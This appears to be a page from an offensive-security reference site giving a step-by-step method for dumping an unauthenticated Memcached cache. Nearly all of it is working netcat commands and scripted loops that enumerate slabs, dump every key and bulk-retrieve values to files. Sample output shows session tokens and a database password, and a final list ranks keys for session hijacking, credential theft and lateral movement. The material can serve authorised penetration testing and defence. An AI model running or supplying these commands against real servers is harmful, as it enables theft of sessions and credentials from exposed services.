# Memcached Unauthenticated Cache Read

- **URL:** https://hackindex.io/services/memcached/exploitation/memcached-unauthenticated-cache-read
- **Path:** Memcached > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/memcached/exploitation.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

When a Memcached instance accepts connections without authentication, the entire cache is readable by any client. This page covers extracting keys and values using the text protocol, covering all available enumeration paths to maximise coverage before moving to targeted extraction of high-value data.

Confirm unauthenticated access is accepted before proceeding.

## Memcached cache read via stats cachedump

`stats cachedump` retrieves key names from a specific slab. First identify which slabs contain data:

```bash
echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211
```

For each slab with a non-zero `used_chunks` value, dump keys:

```bash
echo -e "stats cachedump 2 0\r" | nc -q2 $TARGET_IP 11211
```

The second argument is the slab number. The third argument is the key limit: `0` returns all keys in that slab. Repeat for each active slab.

```
ITEM sess:user:9182 [512 b; 1711601233 s]
ITEM db:config:primary [128 b; 1711601101 s]
ITEM auth:reset:token:4429a [64 b; 1711601198 s]
```

Key names reveal data types immediately. Collect all key names across slabs before retrieving values.

## Dump Keys via lru_crawler metadump

`lru_crawler metadump` is a more complete alternative that dumps all keys across all slabs without requiring per-slab iteration. It is available on Memcached 1.4.31 and later:

```bash
echo -e "lru_crawler metadump all\r" | nc -q2 $TARGET_IP 11211
# key=sess:user:9182 exp=1711604833 la=1711601233 cas=88291 fetch=yes cls=2 size=528
# key=db:config:primary exp=-1 la=1711601101 cas=71042 fetch=no cls=1 size=144
# key=auth:reset:token:4429a exp=1711601498 la=1711601198 cas=71819 fetch=no cls=1 size=80
```

`exp=-1` means the key never expires. Keys with `fetch=no` have not been read since they were written, which suggests they may be configuration or credential data cached on startup rather than active session data.

## Retrieve Values in Bulk

Once you have a list of key names, retrieve their values. To pull multiple keys in a single request:

```bash
echo -e "get sess:user:9182 db:config:primary auth:reset:token:4429a\r" | nc -q2 $TARGET_IP 11211
# VALUE sess:user:9182 0 512
# a:5:{s:2:"id";i:9182;s:4:"role";s:5:"admin";s:5:"email";s:22:"sysadmin@target.local";s:5:"token";s:40:"f9a21c4d8e3b07562a1c9f4d8e3b07562a1c9f4d";}
# END
# VALUE db:config:primary 0 128
# {"host":"db-internal.target.local","user":"appuser","password":"Str0ngDBPass!","db":"appdb"}
# END
```

JSON and PHP serialized payloads are the most common formats. Database credential objects like the second value above can feed directly into lateral movement.

## Script Key Retrieval Across All Slabs

To automate full key extraction across all slabs without knowing slab numbers in advance:

```bash
for slab in $(echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 | grep -oP '^\d+(?=:chunk_size)' | sort -un); do echo -e "stats cachedump $slab 0\r" | nc -q2 $TARGET_IP 11211; done
```

Pipe the output to a file and extract key names:

```bash
for slab in $(echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211 | grep -oP '^\d+(?=:chunk_size)' | sort -un); do echo -e "stats cachedump $slab 0\r" | nc -q2 $TARGET_IP 11211; done | grep ^ITEM | awk '{print $2}' > /tmp/memcached-keys.txt
```

Then retrieve all values in one pass:

```bash
while read key; do echo -e "get $key\r" | nc -q2 $TARGET_IP 11211; done < /tmp/memcached-keys.txt > /tmp/memcached-values.txt
```

## Prioritise What to Read

Not all keys are equally valuable. Prioritise by name pattern before bulk-retrieving:

- `sess`, `auth`, `token` for session hijacking
- `config`, `db`, `pass`, `secret` for credentials
- `key`, `api` for API tokens

Keys matching telemetry, counters, or rate limit patterns are low value.

## References

- [Memcached: Protocol Commands](https://github.com/memcached/memcached/wiki/Commands) - Full text protocol command reference including get, stats cachedump, and lru_crawler metadump